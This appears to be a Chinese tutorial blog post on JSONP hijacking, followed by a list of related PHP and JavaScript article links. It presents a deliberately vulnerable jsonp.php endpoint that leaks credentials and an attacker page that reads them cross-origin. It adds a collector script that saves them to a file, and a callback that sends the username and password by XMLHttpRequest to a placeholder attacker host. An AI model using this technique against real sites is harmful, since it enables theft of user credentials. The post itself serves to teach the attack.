Jsonp劫持学习


Posted in PHP onApril 01, 2021

实验

劫持原理网上这张图很形象

Jsonp劫持学习

首先我们准备一个jsonp.php,简单的写了一个

<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
if(isset($_REQUEST['jsoncallback'])){
    if($_REQUEST['jsoncallback']=="callbackFunction"){
        $json_data='({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"})';
        
    }else {
        $json_data='({"info":"error"})';
    }
    echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
}
?>

此时我们访问http://xxxxxx/jsonp.php?jsoncallback=callbackFunction

会得到返回信息

callbackFunction(({"id":"1","name":"Y4tacker","password":"Y4tackerTestPasswd"}))

我们此时再准备一个hack.html页面,内容为

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Test</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
        {
            alert("username:"+result.name+" password:"+result.password);
        }
</script>
<script type="text/javascript" src="http://xxxxx/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

如果受害者访问这个页面就会有个xss弹窗,弹出关键信息,

当然我们还可以更进一步的利用,讲内容保存到本地服务器,bc.php

<?php
$username=$_GET['username'];
$password=$_GET['password'];
$data="用户名:".$username."密码:".$password.PHP_EOL;
file_put_contents("pwd.txt",$data);
?>

再修改上面的callbackFuction,发起一个ajax请求即可,可以用layui这些封装好的,也可以原生内容

function callbackFunction(result)
        {
            var username=result.name;
            var password=result.password;
            const requests=new XMLHttpRequest();
            const url="http://xxxxxx/bc.php?username="+username+"&password="+password;
            requests.open("GET",url);
            requests.send();
        }

学习完毕

PHP 相关文章推荐
php获取网页内容方法总结
Dec 04 PHP
php 获取完整url地址
Dec 20 PHP
PHP高级OOP技术演示
Aug 27 PHP
php 带逗号千位符数字的处理方法
Jan 10 PHP
深入phpMyAdmin的安装与配置的详细步骤
May 07 PHP
php中数字0和空值的区别分析
Jun 05 PHP
修改destoon会员公司的伪静态中的com目录的方法
Aug 21 PHP
简单介绍PHP非阻塞模式
Mar 03 PHP
session 加入redis的实现代码
Jul 15 PHP
PHP get_html_translation_table()函数用法讲解
Feb 16 PHP
tp5 实现列表数据根据状态排序
Oct 18 PHP
php pdo连接数据库操作示例
Nov 18 PHP
利用ajax+php实现商品价格计算
php微信小程序解包过程实例详解
Mar 31 #PHP
ThinkPHP5和ThinkPHP6的区别
Mar 31 #PHP
PHP基本语法
PHP中->和=>的意思
Mar 31 #PHP
Mac M1安装mnmp (Mac+Nginx+MySQL+PHP) 开发环境
Laravel中Kafka的使用详解
Mar 24 #PHP
You might like
谨慎使用PHP的引用原因分析
2012/09/06 PHP
浅析php面向对象public private protected 访问修饰符
2013/06/30 PHP
php中socket的用法详解
2014/10/24 PHP
php提取字符串中网站url地址的方法
2014/12/03 PHP
php实现SAE上使用storage上传与下载文件的方法
2015/06/29 PHP
详解PHP中的8个魔术常量
2020/07/06 PHP
jQuery插件 tabBox实现代码
2010/02/09 Javascript
JavaScript字符串对象split方法入门实例(用于把字符串分割成数组)
2014/10/16 Javascript
JavaScript中的闭包
2016/02/24 Javascript
Angularjs中的事件广播 —全面解析$broadcast,$emit,$on
2016/05/17 Javascript
文本框只能输入数字的js代码(含小数点)
2016/07/10 Javascript
JavaScript实现数组降维详解
2017/01/05 Javascript
Bootstrap 填充Json数据的实例代码
2017/01/11 Javascript
ES6使用let命令更简单的实现块级作用域实例分析
2017/03/31 Javascript
Vue.js实现一个todo-list的上移下移删除功能
2017/06/26 Javascript
轻松理解vue的双向数据绑定问题
2017/10/30 Javascript
使用bootstrap实现下拉框搜索功能的实例讲解
2018/08/10 Javascript
Python完全新手教程
2007/02/08 Python
python线程池(threadpool)模块使用笔记详解
2017/11/17 Python
matplotlib实现热成像图colorbar和极坐标图的方法
2018/12/13 Python
python hbase读取数据发送kafka的方法
2018/12/27 Python
python爬虫 基于requests模块的get请求实现详解
2019/08/20 Python
余弦相似性计算及python代码实现过程解析
2019/09/18 Python
python 单线程和异步协程工作方式解析
2019/09/28 Python
python自动生成model文件过程详解
2019/11/02 Python
使用Django实现把两个模型类的数据聚合在一起
2020/03/28 Python
Jupyter Notebook 实现正常显示中文和负号
2020/04/24 Python
高级3D打印市场:Gambody
2019/12/26 全球购物
师说教学反思
2014/02/07 职场文书
知识改变命运演讲稿
2014/05/21 职场文书
法院干警四风问题个人对照检查材料思想汇报
2014/10/07 职场文书
大客户经理岗位职责
2015/04/09 职场文书
幼儿园教师安全责任书
2015/05/08 职场文书
2016简单的租房合同范本
2016/03/18 职场文书
详解MySQL 用户权限管理
2021/04/20 MySQL
javascript函数式编程基础
2021/09/15 Javascript